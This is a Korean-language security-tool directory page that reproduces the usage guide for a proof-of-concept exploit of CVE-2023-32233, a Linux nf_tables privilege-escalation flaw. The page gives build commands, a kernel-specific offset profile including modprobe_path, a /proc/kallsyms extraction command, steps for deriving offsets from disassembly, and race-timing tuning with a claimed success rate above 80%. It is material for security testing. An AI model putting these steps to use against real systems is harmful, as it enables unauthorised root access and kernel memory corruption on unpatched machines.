Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-32233 — 자체 사용용, PoC 작성자는 Piotr Krysiuk이며, 사용 전에 먼저 README.md를 읽어주세요. | Kitploit
도구/GitHubGitHub/pidan-heidashuai/cve-2023-32233
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingBinary Exploitation
GitHubpidan-heidashuai/cve-2023-32233

CVE-2023-32233

자체 사용용, PoC 작성자는 Piotr Krysiuk이며, 사용 전에 먼저 README.md를 읽어주세요.

저장소 보기
333년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

빌드 및 구성

아래 지침은 Ubuntu 23.04(Lunar Lobster)에서 테스트되었습니다.

빌드 종속성 설치

빌드 종속성을 설치하려면 다음 명령을 실행하십시오:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

바이너리 빌드

PoC 바이너리를 빌드하려면 다음 명령을 실행하십시오:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

프로파일 업데이트

내장 프로파일에는 Ubuntu 23.04(Lunar Lobster)에서 다음 패키지로 바이너리 형태로 배포되는 Linux 커널에 특화된 매개변수가 포함되어 있습니다:

  • "linux-image-6.2.0-20-generic", 버전 "6.2.0-20.20", 및
  • "linux-modules-6.2.0-20-generic", 버전 "6.2.0-20.20".

내장 프로파일은 다음과 같습니다:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

커널 심볼

다른 Linux 커널로 테스트할 때 내장 프로파일을 재정의하는 선택적 단계:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

머신 코드

커널 베이스를 찾기 위해 커널 메모리에서 nf_tables.ko 이미지를 검사합니다. 특히, nft_counter_destroy() 서브루틴의 머신 코드를 분석합니다. 이는 우리의 방법이 컴파일러 및 컴파일 옵션에 민감하다는 것을 의미합니다. 그러나 일반적인 모든 경우는 내장 프로파일을 재정의하여 처리할 수 있습니다.

예를 들어, nft_counter_destroy() 서브루틴의 머신 코드는 다음과 같을 수 있습니다:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

위의 경우 구성 파일 "profile"에 아래 세 줄을 추가하여 몇 가지 매개변수를 지정할 수 있습니다.

먼저, free_percpu 변위(displacement) 앞에 있는 dword의 오프셋을 재정의합니다:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

여기서 값 5는 표현식 (1e31d - 1e310) - 8을 사용하여 계산되었습니다.

정합성 검사로, 다음 마스크를 사용하여 위 오프셋의 dword를 검증합니다:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

다음 값을 기대합니다:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

레이스 튜닝

취약점을 악용하려면 Linux 커널의 백그라운드 워커 스레드와의 레이스에서 이겨야 합니다. 내장 프로파일은 모바일 Sandy Bridge 및 데스크톱 Comet Lake를 포함한 광범위한 Intel 마이크로프로세서에서 해당 레이스에서 이길 확률을 최대화하도록 튜닝되었습니다. 그러나 일부 마이크로프로세서는 추가 튜닝이 필요합니다. 예를 들어, 특정 설정의 Alder Lake에서 작업 전환 대기 시간이 증가하는 것을 관찰했으며, 이 경우 "profile"에 다음 줄을 추가해야 할 수 있습니다:

root@kitploit:~
400                 race_lead_sleep

유휴 상태의 베어메탈 시스템을 사용한 테스트에서 취약점 악용 성공 확률을 80% 이상으로 측정했습니다.

테스트 권장 사항

취약한 시스템에서 PoC를 시작하면 커널 메모리가 손상되어 해당 시스템이 불안정한 상태로 남을 수 있습니다. 잠재적인 데이터 손상을 방지하기 위해 전용 시스템에서 PoC를 테스트할 것을 강력히 권장합니다.

도구 다운로드